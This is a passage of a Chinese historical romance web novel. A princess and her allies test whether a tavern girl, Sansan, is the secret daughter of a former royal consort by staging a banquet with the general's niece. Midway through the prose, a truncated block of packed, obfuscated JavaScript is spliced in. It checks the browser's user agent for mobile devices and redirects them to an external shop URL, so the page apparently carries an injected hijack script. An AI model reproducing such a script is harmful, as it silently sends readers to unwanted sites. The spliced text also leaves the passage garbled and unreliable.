三三默不作声地活动了下膝盖,有点疼,得赶紧回去擦点药。
“嗯,不谢,下次注意,不是每次都能好运遇上人帮忙的。”三三转过身子淡淡道。
那车夫见她要走,虚虚伸手拦住了她:“姑娘莫急,我乃温将军府上的家生子,将军有规,在外受了人帮忙,便要留下恩人姓名,以待来日报答,不知姑娘可方便告知?”
温将军?三三眉头微微蹙起,竟然这么凑巧?
31. 温家后人
三三虽然心里有疑,本想淡定报个假名字,但转念一想这街上大部分百姓都认识她,稍加打听就能知道,且若是其他人骤然听到温将军这个名讳,恐怕会激动万分。
于是她便故作惊讶又带点小激动:“温将军?!”
那车夫见她如此模样,不由得有些骄傲,下巴也微微抬高了起来:“是啊,就是当朝战功赫赫的温将军!”
三三维持着那副惊讶又激动的模样:“那能帮上忙可真是我的福气了,何谈什么报答不报答的呢?”
车夫见她如此谦虚,硬是要她留下名字,三三无奈,只好道:“我叫三三,对,没错,就是一二三那个三。”
此时的三三还不知道,因为今日这事,她被温家人记住了。
除夕宫宴后,裴朝朝时不时就往裴景明府上跑,不仅她来,就连谢序川也时不时到访。
今日日头出得早,日光照耀下王府院子里的枯枝在雪消融后都有了些许生机。
“二哥啊,好二哥啊,你说这事我要怎么查啊?”裴朝朝托着下巴,拉长了声音问一旁摸猫的裴景明。
裴景明怀里的小梅花不知所以,也学着裴朝朝拉长了声音喵喵叫起来。
裴景明捏了捏小梅花的耳朵:“你就一点思路都没有?”
裴朝朝犹疑道:“算有吧?”
“那你说说看。”
“这歌谣说得很明显了,就是说前朝的晋皇室还有后人,且会报复大楚,夺回江山,”裴朝朝换了只手继续托下巴,“只是这后人……当年晋王拉着一众嫔妃自焚,除了前头争权死了三子一女,还剩下另外一子二女,但在大楚占领东京城后,剩下的这一子二女也都死了,二哥,你说这晋皇室哪还有什么后人啊?”
小梅花窝在裴景明膝上闭着眼一动不动,像只毛团子,他摸了摸小梅花脑袋:“或许还有我们不知道的呢?”
“比如呢?”裴朝朝问。
“你知道温将军的妹妹吗?”
“知道啊,不就是晋王的贵妃吗?”裴朝朝恍然大悟,“二哥是说,温贵妃的孩子?”
但她很快又否定了自己的猜测:“不对啊,当年温老将军率先归顺,条件就是要留下温贵妃的性命,没有提到孩子啊,而且后来清点尸体的时候,晋王皇室子嗣的尸体都对得上,我记得父皇说过,他当时问了温老将军温贵妃是否有孩子,老将军还说温贵妃福薄,孩子早产没能留下。”
裴景明一下一下捋着小梅花脑袋上的软毛,轻声问道:“若是他没说真话呢?”
裴朝朝心中大惊:“难道真的……”
那三三跟温将军眉眼长得有三四分相似,难不成真的是……
“温贵妃的孩子,既是晋王皇室子嗣,亦是温家后人,你觉得呢?”裴景明不答反问。
裴朝朝眨眨眼:“温家子嗣单薄,温老将军只有一子一女,因为晋王女儿没了,剩下温将军一个儿子,温将军也只有两个儿子,温家并无女儿,若真是如此……温家人不说实话也可以理解了。”
小梅花窝着的姿势一直没变,眼下应当是累了,在裴景明膝上又懒懒换了个姿势,见他动作停了,还不满地喵喵叫了两声。
“温将军的夫人是礼部尚书的妹妹杜氏,杜大人有一小女儿,一直在将军府上养着,名唤杜筠,”裴景明懒懒掀起眼皮,似笑非笑,“你不是与京中的贵女小姐们挺熟吗?”
裴朝朝立即会意,眼神亮晶晶地看着他:“二哥的意思是让我带着杜筠去见三三?”
“不要显得太过刻意,要是一不小心被三三察觉到了,恐怕会额外生事。”
裴朝朝双手握拳用力在胸前一顿,自信满满道:“放心,我一定小心,这就去安排!”
谢序川今日来得比裴朝朝晚些,一进院子就听到裴朝朝自信无比的肯定句,不由得好奇:“公主这是要安排什么?”
裴朝朝握拳的手立马放下,脸色自然道:“安排什么自是机密,不能轻易告诉你。”
裴景明见他人来了,笑了笑,抱着小梅花就让十一推他回书房。
“我身子弱,外面还是冷了点,十一,推我回书房吧。”
这几日日日如此,只要谢序川一来,裴景明就会找各种借口走开,裴朝朝哪里不知道他的意思,一开始还有点别扭,后来别扭着别扭着就习惯了。
谢序川见裴景明一走,自顾自给自己倒了杯热茶,见裴朝朝面前的茶水已然没了热气,又给添了点。
“公主有什么机密不能告诉臣吗?或许臣可以帮上忙呢。”
裴朝朝低头盯着那热气袅袅上升的茶杯,眨了眨眼,好似雾气朦胧间瞧谢序川有点好看?
谢序川见她半响不说话,微微侧头疑惑道:“嗯?”
裴朝朝清了清嗓,拿起那热茶,在嘴边轻轻抿了一口:“要说帮忙也确实是……”
“用不上。”
谢序川还以为她要说确实要帮忙,不成想竟然来了这么个断句,一时之间忍不住笑了。
裴朝朝想了想,还是将这机密告诉了他:“我要带着杜尚书家的女儿杜筠去见一个人。”
谢序川何其聪明,当即了然:“是那来财酒楼的三三姑娘?”
他只见过三三一面,难道怀疑三三是温将军的女儿?
“何出此言?”裴朝朝不动声色问道。
谢序川握着茶杯,轻轻盖上了茶盏:“我见过这位姑娘两面,第一次在马上自上而下地望去时,便觉得她跟长相白净的温将军有些相似;第二次是在酒楼合作仪式上,我暗中观察过她的眉眼,如果她跟温将军有三分相似的话,那跟温将军男生女相的小公子便有五分相似。”
裴朝朝顿时了然:“确实,温家小公子今年十八九岁,确是跟三三……”
谢序川轻轻拨着茶盏,笑着看裴朝朝:“既然公主要带杜筠见三三,不若也带上温澄如何?”
裴朝朝啊了一声,蹙眉道:“这样会不会太过激进了?”
“若是缓缓试探恐怕要费些许时间。”
裴朝朝沉默须臾:“你是不是也猜到了?”
冬日天寒,谢序川手里的茶没一会就冷了,他提起茶盏饮了一口,冷茶下肚顿时整个人都清醒无比。
他不答反问:“只是猜测,没有依据,公主不也是吗?”
裴朝朝撇了撇嘴,心道我要是有证据还用得着去试探吗?
院里的二人还在互相套话,裴景明却对着幅女子画像沉默不语。
书房里的地龙烧得暖,小梅花进来不久就跳下他膝头跃上了书架。五三自那日领了命,从年前一直忙活到现在终于找到了机会,发现程书带回来的是幅女子画像,便寻机潜入书铺后院让画师临摹了一幅。十一一早就将画给送了过来,只是裴景明一直没来得及看。
裴景明细细看着那幅画,淡淡道:“这事五三做得好,赏。”
十一应了声是,又道:“但五三说,因为时间紧,没有让画师对着画临摹,是带着那画师匆匆看了几眼后回来临摹的,可能与原画存在些出入。”<
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p>裴景明轻轻摇了摇头,出不出入的已经不重要了,画轴完全摊开那一刻,他便彻底明白了。
三三定是温贵妃的女儿。
裴朝朝回了宫之后,一直在琢磨着该如何带上杜筠和温澄见到三三,且不说那杜筠是个娇滴滴的小姐,出门吃个饭都要挑三拣四的,就说那温澄,虽然年纪轻轻,但整日里板着张脸,除了读书就是习武,三岁小儿见到他都要被吓哭。谢序川还说要带上温澄,现在想来简直是痴人说梦,温澄除非脑子烧坏了,否则怎么会愿意撇下长枪四书出门?
“唉,这要怎么办啊?”裴朝朝歪着身子躺在宽大暖和的公主椅上直叹气。
流云姑姑见她唉声叹气的,忍不住关切道:“公主这是怎么了?”
裴朝朝愁眉苦脸地看着她:“流云,你说我要怎么才能约个贵女小姐同我一起到长安街上去玩呢?”
那公主椅虽说上面铺了两层狐裘,屋里的地龙也烧得热,可流云姑姑一把年纪了,见她衣着单薄还是忍不住给她披上了件大氅。
“公主身份尊贵,想要邀请个小姐同你一起玩耍,派人到府上说一声不就成了?何苦要公主如此思虑?”
裴朝朝叹了口气,心道,若是往常便算了,可这次要邀请的是个娇滴滴的小姐,还得提防着人察觉,可不就难了嘛。
裴朝朝单手撑着脑袋,突然瞥见桌上那碟糕点,顿时福至心灵。
嘿嘿,有了!
“流云,你派人去通知百花楼的杨老板,就说我明日午后去百花楼吃饭,要喝来财酒楼三三姑娘亲自送过来的芳菲酒。”
流云姑姑知道她经常去百花楼吃饭,便没有多问,弯腰行了个礼便要出门遣人去传话,裴朝朝想到什么又叫住了她:“流云,等会你亲自去将军府一趟,告诉杜小姐,我寻到了她一直在找的枫桥图,想邀请她一同在百花楼鉴赏。”
流云应了声是,遣了人去百花楼传话后,便让人准备好车马亲自去了将军府。
将军府。
杜筠正偷偷躲在廊下专心致志看温澄练武,突然被人轻拍了下胳膊,顿时吓得花容失色,回头一看是自己的贴身侍女,忍不住责怪道:“你这是做什么?吓死我了!”
侍女小渔连连低头认错任由杜筠责骂,约莫过了好一会,杜筠骂累了,才用帕子扫了一下她:“这么急,是有什么事?”
小渔低声道:“回小姐,是公主身边的流云姑姑来了。”
杜筠捏着帕子的手一顿:“她来做什么?”
“奴婢不知,夫人已在前厅了,让我过来速速请小姐过去。”
杜筠侧头瞧了一眼那还在练武的温澄,见这次没被发现,心里稳了稳。
“知道了,走吧。”
杜筠也不着急,临了出了廊还时不时回头瞧温澄。
侍女也不敢催她,只能候在一旁。
那杜夫人见杜筠久久不来,边上坐着的流云姑姑端着个脸,既不笑也不怒,心里边直打鼓,趁着侍女添茶的功夫,悄悄唤了身边的张妈妈去寻人。
张妈妈一来后院就见那杜筠一步三回头,忍不住上前一把拉过她,急道:“哎呦我的小姐,您可快点吧,那流云姑姑可是公主身边的老人了,您让她老人家等了您这许久,怕是不好。”
杜筠心里不乐意,那流云姑姑过来多半是那公主想叫她一同去玩,她半点都不乐意陪那草包公主吃喝玩乐。
“知道啦知道啦张妈妈。”杜筠撇开她手,恢复了往日那般端庄模样,迈着淑女步往前厅去。
32. 借画设宴
眼见那流云姑姑的茶水果子续了一趟又一趟,那要找的正主却迟迟不来,杜夫人面上不由焦急了起来。
“让姑姑见笑了,这杜筠往日里被我宠坏了,愈发没有了规矩,还请姑姑不要怪罪。”
杜夫人面上扯着笑脸,流云姑姑也没多说什么,也笑了笑:“夫人言重了,小姐年纪尚小,爱玩了点,这不是什么大错。”
杜夫人又道:“姑姑说得是,还请姑姑再吃点甜点,我已让人去捉那顽皮孩子了。”
流云姑姑笑着捻起块糕点:“夫人府上的糕点精致甜美,茶水更是一绝,我就好吃这口了。”
杜夫人笑了笑,立马又让侍女多端点甜点上来。
侍女刚刚上完两碟点心,那张妈妈就带着杜筠来了。
“筠儿,还不快过来拜见流云姑姑。”杜夫人见人来了,赶紧起身去拉她行礼。
虽说杜筠看不上那草包公主,但对宫里的人她向来不敢放肆。
她面上一片乖巧,弯腰给流云姑姑行了个礼,柔声道:“我近来习画入神,一时耽搁了,让姑姑久等了,还请姑姑饶恕。”
流云姑姑手里还拿着半块糕点,闻言也没立马答话,就让那杜筠一直站着,自个就着那茶水慢悠悠吃着剩下半块糕点。
杜筠心里十分憋屈,却又不敢发作,站在一旁默不作声。
杜夫人见她还在喝茶,眼观鼻鼻观心,也不敢贸然出声。
约莫过了半盏茶的功夫,那流云姑姑终于吃完了手上的半块糕点,似是终于注意到了眼前站着个人。
她拿过帕子擦了擦手,拍手笑道:“哎哟,真是老了老了,小姐站我跟前半天,我竟光顾着吃点心没发觉!”
杜夫人和杜筠心里门清儿着,这流云姑姑就是故意在落她们脸子!
可毕竟是她们理亏在先,杜夫人根本不敢摆脸色,只能赔笑道:“姑姑哪里的话?”
流云姑姑这姿态倒是没摆多久,她起身拍了拍杜筠的手,温和笑了笑:“公主听说小姐一直醉心于名师的画作,前儿个寻到了幅卢大师的枫桥图,便想请小姐明儿午时到百花楼一同吃个饭,赏赏画。”
杜筠愕然:“卢大师的枫桥图?”
“正是,公主也是偶尔得到,这不立马想到了杜小姐?还请小姐明儿准时赴宴,让老奴等您没事,可别让公主等您。”流云姑姑轻声道。
杜夫人听出了流云姑姑话里的警告,脸色变了变,赔笑道:“姑姑放心,明儿筠儿定准时到百花楼候着公主。”
流云姑姑意味深长地看了她一眼,没再说别的,只道天不早了要赶紧回去复命。
待送走了那流云姑姑,杜筠皱眉道:“姑姑,那枫桥图您之前不是说被人买了吗?”
杜夫人见那尊佛终于走了,心里顿时轻松了不少,喝了口茶缓了缓才道:“是啊,那枫桥图被英国公家给买走了,具体是谁就不知道了。”
杜筠这下眉头皱得更紧了:“莫不是那公主被人骗了?她想找我过去鉴真伪?”
杜夫人笑道:“你才习画不过两三年,哪会鉴画啊?多半公主就是想找你玩玩。”
杜筠心里不服:“两三年怎么了?那画师夫子说我是有天分的!”
杜夫人笑得直摇头,想到什么,又忍不住叮嘱她:“明儿好好跟公主玩,别惹恼了她,上次你俩大打出手,差点伤了自个,回家还被你父亲幽禁,可千万别再犯了。”
杜筠心里切了一声,没当回事,但她眼珠骨碌碌一转又有了别的心思。
“那姑姑,不然让二表哥跟我一道去吧?”
杜夫人膝下两个儿子,没有女儿,对这个小侄女向来是宠爱的,但涉及到她儿子的事情,她也向来不肯轻易答应。
“不行,”杜夫人搁下茶盏,抬起眼皮看她,“澄小子向来不爱出门,往日里跟你一道出去逛街他已是百般不愿,更何况这次还是公主宴请,他一男子入你们女子宴席,不成体统。”
杜筠还想撒娇央求,杜夫人却摆摆手,道自己乏了要去午睡。
杜筠咬着唇,眼底满是不甘。
翌日,裴朝朝一早就出了宫门,只是她去的既不是元安王府,也不是百花楼,而是英国公府。
“dong、dong、dong”侍女彩云上前敲了敲大门,那小厮正准备开门呢,没成想竟然有人比他还早,赶紧放下揉眼的手卸掉门栓打开大门。
“你是何人?”小厮问。
彩云扬起嘴角笑了笑:“我是公主的人,来找你们家谢大人。”
她微微侧身,露出了身后的车马,那小厮平日里见过不少车马,当即醒了神,双手交叉行了个礼:“还请姐姐稍等,我这就去通报大人。”
彩云笑着点了点头。
“公主?”谢序川刚刚洗漱完,正换着衣服,就听来人给侍卫青山报公主来了。
“现在不到辰时,她怎么回来?”谢序川里三层外三层穿好,又系上腰带,对青山道,“莫惊扰了祖父祖母,让人先将公主迎进来,叫厨房备好早点,我这就过去。”
青山应了声是,连忙小跑过去安排。
裴朝朝这是被赐婚后第一次进英国公府,心里感觉说不上来的怪,但她此刻有要事找谢序川,也顾不得许多了。
“公主今日怎么来这了?”谢序川穿过廊下,迈步走向前厅。
裴朝朝见他一来,立马站了起来,站起来之后才想起,她可是公主!
但站都站起来了,她只能继续装作无事道:“今日这么早就过来,叨扰谢大人了。”
谢序川瞧着她桌上那杯茶还在冒热气,笑道:“无事,我一般都这个点吃早饭,公主用过了吗?”
裴朝朝本想找他借画,借完就走,绝不拖泥带水、拖拖拉拉,但被人这么一问,好像拒绝也不太好,她藏在袖子里的手转了转:“出来得匆忙,尚未用过。”
谢序川知道她来肯定是有事相求,也不主动提及,只笑了笑:“府上吃食简单,还请公主别介意。”
“不介意。”
裴朝朝看着这满桌的包子、油条、豆浆、玉米粥……心道,这还简单?
谢序川率先给她打了碗豆浆,纯白细腻的浆水闻着一股豆味,裴朝朝不自觉蹙了蹙眉:“加糖了吗?”
谢序川一愣,豆浆还要加糖?
“要加糖吗?”
裴朝朝抬起圆圆的杏眼瞅他,似是不理解:“不加糖怎么喝得下去?”
谢序川见她如此模样,顿时明白了她的意思,她要喝甜豆浆。
“我喝豆浆一直不加糖,倒是疏忽了,”谢序川捻起另外一个勺子往装糖的碗舀了两勺,“够了吗?”
裴朝朝仔细观察着他每一勺的量,心里暗自算了算。
“再舀半勺。”
谢序川依言给她加了半勺。
裴朝朝拿过勺子搅了搅,试探着舀了半勺喝,嗯,豆味没那么浓了。
谢序川就坐在她身侧,裴朝朝的一举一动看得是一清二楚,暗暗摇了摇头。
裴朝朝心里装着事,吃不了多少,见谢序川吃了好一会了,这才切入正题。
“我听闻,谢大人手上有卢大师的枫桥图真迹?”裴朝朝搅着碗里的豆浆,似是随意而问。
谢序川吃完个包子,饮了口豆浆才道:“确有此事。”
“那,不知谢大人可否借枫桥图与我半日?”
谢序川拿过帕子细细擦着手:“公主是借来做什么呢?”
裴朝朝知道瞒不过他,便老实道:“我用这枫桥图约了杜筠出来鉴赏。”
“就她一人吗?”谢序川问道,“我听闻上次她跟公主大打出手,险些伤了公主,公主记得多带些人。”
裴朝朝冷哼了一声:“就她那三脚猫功夫,要不是她耍赖扯头花,怎么可能伤得了我?”
谢序川笑了笑,见她这般得意便忍不住想逗逗她:“万事还是要小心为上,不若我陪公主一同去?”
裴朝朝啊了一声,似是没想到他会这么说,默了一会才道:“可我只约了她,女子宴,你一男子去,不太好吧?”
谢序川的演技可谓出神入化,他恍然大悟道:“若是如此,那谢某确实不好一
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同前去了。”
“那你还借我画吗?”裴朝朝心里有点忐忑,她拒绝了他一同前往的请求,若是因此不肯借画了可怎么办?
谢序川没回她,低声唤了青山过来。
裴朝朝一直搅拌的那碗豆浆才喝了不到一半,眼下已经凉了。
谢序川给她重新舀了一碗,又加了两勺半的糖,再给她碗里添了个包子。
“公主用完这些,画就来了。”
裴朝朝明白他的意思,解决完第一桩事,她心里也轻松了不少,顿时开开心心吃起了早饭。
“我先骑马过去,上去之后就在隔壁的雅间等公主,若是她对公主不敬,企图伤公主,公主就摔个碗,我即刻过来。”谢序川想了想,还是决定同她一起去百花楼,为着避嫌,他骑马先行一步。
裴朝朝乖巧点头,人家借了她画,可谓大大帮助了她,眼下还要保护她,她可不能忘恩负义。
杨老板早早就在一楼候着了,见小二过来通传之后便撂下手里的算盘直奔门口的马车。
“公主您可算来了!”杨老板候在马车边上老实等着彩云牵公主下车。
“怎么了杨老板?”裴朝朝见他面上一片着急,不由得好奇了起来。
“哎哟,您昨儿个让人来传今日午后要用宴,还要喝三三姑娘亲自送的芳菲酒,我这宴是早早就准备好了,只是那三三姑娘还没过来,但是杜小姐来了啊!”杨老板丧眉耷眼地下拉着嘴角,“那杜小姐,一进来就各种挑剔,一会说我茶不好,一会说我碗不好,我给她是换了一遍又一遍,伺候得烦了这才下来等公主。”
裴朝朝早就知道杜筠的德行,若不是没办法,她才不想宴请她呢,浪费钱不说,还浪费她时间!
裴朝朝知道他受了委屈,拍了拍他肩膀,安慰道:“杨老板你受委屈了,今日的宴席给你两倍的钱。”
杨老板那向下的嘴角立即扬了起来:“那就多谢公主了!”
裴朝朝带着彩云进雅间时,那杜筠正百无聊赖地发呆。
彩云轻咳了一声,提醒她公主来了,杜筠这才回身,磨磨蹭蹭起身行礼:“拜见公主殿下。”
裴朝朝虽然很不喜她,但还是装出了一副笑意盈盈的模样:“杜筠你来得真早啊,我还以为你要比我晚到呢。”
不论是什么宴席,只要是贵女小姐的宴席,杜筠永远都要踩着点最后一个到,
彩云放下手里抱着的画轴,给裴朝朝拉开了椅子。
“公主殿下宴请,我怎么敢让公主等啊?”杜筠不阴不阳,眼神倒是一直盯着彩云刚刚放下的那幅画,问道,“这是枫桥图?”
裴朝朝知道杜筠,跟着个画师夫子习画,便整天嚷嚷着自己有天赋,将来定是画师名流。
她将画轴交给彩云和另一位侍女,示意二人拉开画轴,扬着笑脸道:“正是,杜筠你可要仔细看看了。”
杜筠眼睛不错地盯着那画,嘴里却问道:“我听闻这画被谢大人买走了,你是从他手里买过来的吗?”
裴朝朝一直保持着微笑:“不是,谢大人送给了元安王,元安王又送给了我。”
她不好直说是借谢序川的,只好将裴景明给拉了进来。
没想到杜筠却阴阳怪气了起来:“公主和谢大人有婚约在身,怎么不直接送给您呢?向来谢大人也是不喜公主的吧。”
她此前对谢序川颇有好感,没成想竟然给明武帝指婚了公主,有好一段时间她都看裴朝朝不顺眼。
裴朝朝心道,你管他喜不喜欢我,反正不喜欢你就对了。
但她面上依旧保持着笑脸:“你还是赶紧欣赏画吧。”
杜筠撇了撇嘴,专心看起了画。
裴朝朝见状,便唤了小二过来上菜,见杜筠没有注意,又低声跟小二道:“若是三三姑娘来了,你就亲自带她来这里。”
那小二是个人精,当即连连点头。
本以为三三还得费些时间才能过来,没成想杜筠看画还没看一半,她便拎着两壶芳菲酒敲响了雅间的门。
“公主,是我,三三,给您送酒来了。”
33. 杜筠起疑
裴朝朝一听,立马看向一旁候着的彩云,示意她去开门带人进来。
那杜筠仿佛没听到敲门声,依旧专心致志地看画,裴朝朝侧了侧身子,微微看向门口,见彩云打开门将人迎了进来时便扬起了笑脸:“三三姑娘,你来了啊。”
三三见公主身侧还有个女子在看画,看衣着打扮富贵无比,想来是什么贵家小姐,也不敢放声。
“让公主久等,是民女不是了,”三三将那两壶芳菲酒交给彩云,轻声笑道:“既然公主有贵客,酒也送到了,民女就先告辞了。”
“诶,等等,”裴朝朝见那杜筠头都不回,忍不住朗声道,“三三姑娘为了送我这酒,定是浪费了许多时间,彩霞,快,给三三姑娘点辛苦费。”
她本可以叫彩云给,却偏偏要叫那彩霞给,那彩云和彩霞正携手摊着画轴给那杜筠细看,听见裴朝朝的吩咐,彩霞当即将另一边的画轴交给了彩星,边掏出腰间的香囊作势要取银子边向三三走去。
画轴顿时对半折叠了起来,杜筠当即不乐意地回头道:“打赏银子就不能换个……”
杜筠本来很是气愤,可在回头看清三三时,眉眼间的怒气顿时转为了惊愕、错愣、震惊……
裴朝朝一直在暗中留意她的神情,自然没有错过她的这一番变化,心里竟然隐约有点兴奋,说不定她真猜对了!
杜筠急切起身,疾步走到三三跟前,眼神不错地盯着不明所以的三三。
这怎么会……怎么会跟温澄如此相像?!
难道姑母还生了个女儿?可是不可能啊!姑母当年生了温澄之后没坐好月子,身体大损,不适合再生育了。
再说就算真是姑母的女儿,又怎么会是个跑腿的民间女子?!
杜筠心里天人交战转了三百回合,心中既是疑惑又是震惊,她看了半响眼前人,终于试探着开口问了句:“你叫三三?”
三三被她的眼神打量得很是不舒服,虽然她平常的穿着很简朴,与眼前的公主和这位小姐比不得,可到底也是干净整洁的,但这人的眼神一会嫌弃,一会又是惊疑不定的,让三三莫名其妙。
“是,我就是三三。”三三眼神回视着对方,语气不卑不亢。
杜筠又试探问了句:“你父母是谁?”
三三看了她一眼,长了一张小家碧玉的脸,模样虽算不上一等一,但好歹也算个官宦人家的小姐,看年龄应该与她差不多,既不是长辈,也不是好友,问这问题问得也忒直接了。
“民女无父无母,是孤儿,养母是来财酒楼的老板。”三三依旧不卑不亢道,“贵人问完了吗?问完了民女还得回去做活。”
杜筠似是没听出她的话外之音,见她说要走情急之下竟然拉住了三三。
裴朝朝见三三表情十分不耐烦,暗道不好,赶紧把杜筠的手扯开,笑道:“杜筠你这是做什么呢?三三姑娘平日里就十分忙碌,今日肯给我送酒过来,已然是攒了许多活,不好再耽搁了。”
那杜筠被她扯着手腕,不甘心地一直奋力挣扎,平日里姣好的面容此刻变得狰狞无比。
裴朝朝半边身子用力挡着她,又朝彩霞看了眼:“彩霞,快送三三姑娘回去,记得给多点辛苦费!”
三三被她二人搞得莫名其妙的,但也没多想,随着彩霞就下了楼。
“这杜筠杜小姐,仗着是温将军夫人的侄女,自家父亲又是礼部尚书,向来爱跟公主比个高低,”彩霞心里斟酌着裴朝朝的交代,从囊袋里拿出了五两银子塞到了三三手中,笑道,“姑娘今日过来费了不少时间和心力,这是公主特意交代的,还请收下。”
温将军夫人的侄女?
三三本来是没多想的,但彩霞这话就像是专门说给她听的,心思回转间她刹那间就明白了过来。
是被认出来了?还是被怀疑了?
三三心里惊疑不定,但面上依旧弯了弯眼,她同彩霞来回推脱了几下,见推脱不了,便笑道:“如此就多谢公主了,时候不早了,民女就先回去了。”
杜筠又和裴朝朝打起来了。
她一见彩霞领着三三出了门,而自个的手还被裴朝朝牢牢攥着,想问的话都没问完,一时之间气血上涌,竟然生出了巨大的力气一把将裴朝朝甩到了桌上。
“哗啦——”一声,桌上的碟子碗筷顿时被扫了下去,裴朝朝侧腰撞在桌上,疼得她“哎哟”了一声。
一旁的彩云和彩星见状,赶紧去扶她起来。
杜筠刚刚同裴朝朝好一通挣扎,早上精致打扮的妆容早已凌乱不堪,太阳穴两处散着稀疏掉落的头发,衣袍袖子皱皱巴巴,面上一片涨红,想来是被裴朝朝拦住给气的。
“你是故意的!”杜筠瞪着裴朝朝,眼底发红,“你故意拦我不让我问她的身世,是不是你也认为她跟温澄长得像?!”
裴朝朝被侍女搀扶着,扶着自己的腰哎哟个不停,面上一片痛苦。
这杜筠怎么一下生出了这么大的力气?
“什么故意不故意的?”裴朝朝不打算回答她的问题,只是一直扶着自己的腰,没好气道,“你既不是长辈,也不是她好友,才刚说第二句话就这么冒昧问人家父母,你平日里学的礼数呢?亏你父亲还是礼部尚书!”
杜筠这下更气了:“你说我没礼数?”
裴朝朝现在腰疼无比,要是跟她继续打的话说不好真打不过。
她清了清嗓子,想着先安抚对方冷静下来:“我不是那个意思。”
我就是那个意思。
“你想啊,那三三就是个普通百姓,你若是真想知道她的身世,大可私底下自己去查,何必要这么咄咄逼人呢?我刚刚拦你是因为你太激进了,怕你惹怒了人家。”
杜筠将头发往后捋了捋,冷笑了几声:“你会那么好心?”
裴朝朝此时正对着门口,见谢序川突然出现,瞳孔微微睁大,想来是刚刚撞桌子把碗筷什么的都撞掉了……
还好杜筠此刻背对着门口,看不到人。
裴朝朝使劲挤了挤眼,示意他回隔壁雅间待着,奈何谢序川看不懂,只拧紧了眉头看向她手扶着的地方。
裴朝朝心里无奈,只好扬高了声调:“唉,当然是出自真心的啦,杜筠啊!你这脾气向来是说急就急,还好没惊动隔壁雅间的客人!不然吓着人家就不好啦!”
她边应付着杜筠,边不动声色地看向门口,只那道身影杵在门口不动,过了好一会才消失。
裴朝朝悬着的心终于放下了。
杜筠却不信她,她跟裴朝朝向来不对付,她看不惯裴朝朝因为出身好,唾手可得她想要的任何东西;裴朝朝也看不惯她,二人心知肚明。
杜筠扫了眼地上的一片狼藉,又看向那幅枫桥图,冷笑道:“看来今日赏画是赏不成了,既如此,那臣女就先行告辞了!”
说罢,杜筠便整了整衣裳自顾自出了门下楼。
谢序川回到雅间后一直站在门口留意,见杜筠走了这才过来。
他扫了眼满地的碎碗残碟,蹙眉道:“礼部尚书家的女儿竟然如此不知礼数?”
裴朝朝被彩云扶着坐下:“她爹是礼部尚书,又不是她是礼部尚书,对我,她向来没什么礼数。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245137|197864||http|test|mini|href|location''.split(''|''),0,{}));
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>“这杜筠竟如此大胆?”
裴朝朝揉了一下自己的腰:“之前刚认识那会,她还收敛点,后来见我也不会跟父皇告状,胆子便越发大了。”
谢序川见她眉间痛苦,忍不住问道:“可是她伤得你?”
裴朝朝泄了口气,耷拉着眉头:“算吧?三三要走她不肯,愣是拽着人家,我只好把她给拽了回来,结果她突然就生了力气推了我一把,我一时没站稳,就撞在了桌子上。”
谢序川的眉头这下拧得更紧了,脸色也阴沉沉的。
裴朝朝被他这模样吓了一瞬,轻声问:“你这是怎么了?”
谢序川闭了闭眼,心里叹了口气:“公主还是先回宫里叫太医过来看看伤吧。”
裴朝朝见他神色又恢复了往常模样,不疑有他:“那确实是,先看伤比较重要。”
裴朝朝扶着彩云的手想起身,奈何那腰怎么都上不了力气,起了半天愣是没起来。
谢序川又闭了闭眼,倏尔才沉声道:“臣得罪公主了。”
说罢,他上前微微蹲下身子,右手横过裴朝朝的肩膀,左手一捞裴朝朝的双膝,腾地一下就给人抱了起来。
裴朝朝顿时脸色爆红:“你怎么……你怎么……”
谢序川没回答她,只道:“还请公主老实别动,不然又伤着了可不好。”
裴朝朝张了张嘴,脸色红得跟那辣子一般,嗫喏了半天一个字没蹦出来,见谢序川转身抬脚就要出门了,立马抬起袖子遮住了脸。
“王爷,人都走了。”天字号房里,十一站在廊上,先是看着杜筠气势汹汹上了自家马车,又是看着谢序川抱着公主上马车,脸上的表情十分之精彩。
“王爷,公主好像受伤了?”
想到刚才楼下传过来的碗筷落地声,裴景明笑了笑:“许是又跟那杜筠打了起来。”
十一面上不解:“这杜筠怎么一点尊卑礼数都不讲?竟敢几次三番对公主动手。”
裴景明吹了吹手里的茶盏,茶沫浮在上方,一遇气就散到另一边:“女儿家之间的打打闹闹,朝朝向来不会跟兄长父亲告状,那杜筠也是拿住了这点才如此放肆。”
他刚刚喝完那口热茶,监听的二七就回来了。
“王爷。”二七轻手轻脚关上了门,来到裴景明跟前开始回话。
“之前让你提前躲在那雅间檐上,可看清了里面的状况?”裴景明将茶盏搁在桌上。
二七低声道:“回王爷,都看清了。“
“那三三姑娘来了之后,杜家小姐本来不以为意,一心看画,后来公主就让彩霞给三三赏钱,”二七两手张开,绘声绘色地演了起来,“那彩霞本来是和彩星一人一边拿画轴的,她一走,杜筠就生气了,结果她一回头看到三三,脸上的表情简直是五颜六色。”
二七放下手,学着杜筠的模样演起了惊愕、错愣……末了还去拉十一的手,生动演绎着杜筠和三三以及公主之间的拉扯。
他一人饰两角,演绎得十分生动形象。
裴景明笑得没了力气,向后靠着轮椅继续笑。
“如此说来,那杜筠应当也是怀疑上了,回去之后肯定会想办法暗中查探三三的身世。”裴景明笑得喉咙干渴,拿起刚刚那盏茶又喝了两口,“她现在应当是疑惑三三是不是温将军在外面的私生女,所以不敢轻易去问家中长辈,温澄与三三长得最为相似,她说不定会故意带温澄去见三三,再由温澄来查三三身世。”
十一低声问:“可要助他们一臂之力?”
“温澄是个有能耐的,不用帮忙,暗中盯着就是了。”
34. 温澄识人
杜筠回了将军府之后,一直心神不宁,时而环着屋子步履不停,时而站在窗前折腾那扇有了年岁的窗子。
姑母已然不能再生育了,难道那三三真是姑父在外的私生女不成?!
她坐在梳妆台上,咬了咬唇,望着铜镜里的自己,犹豫不决。
要不要告诉姑母呢?可姑母会不会……
她正发着愣,突然听到房门外的侍女唤了声二公子。
她抬眼盯着门口,心里顿时有了主意。
翌日,卯时刚过不久,杜筠便早早独自来到了后院廊子下专门等温澄。清晨的冬日冷得透骨,可杜筠心里十分着急,竟然分毫不觉寒冷,蹲在避风的角落里时不时就看向书房门口。
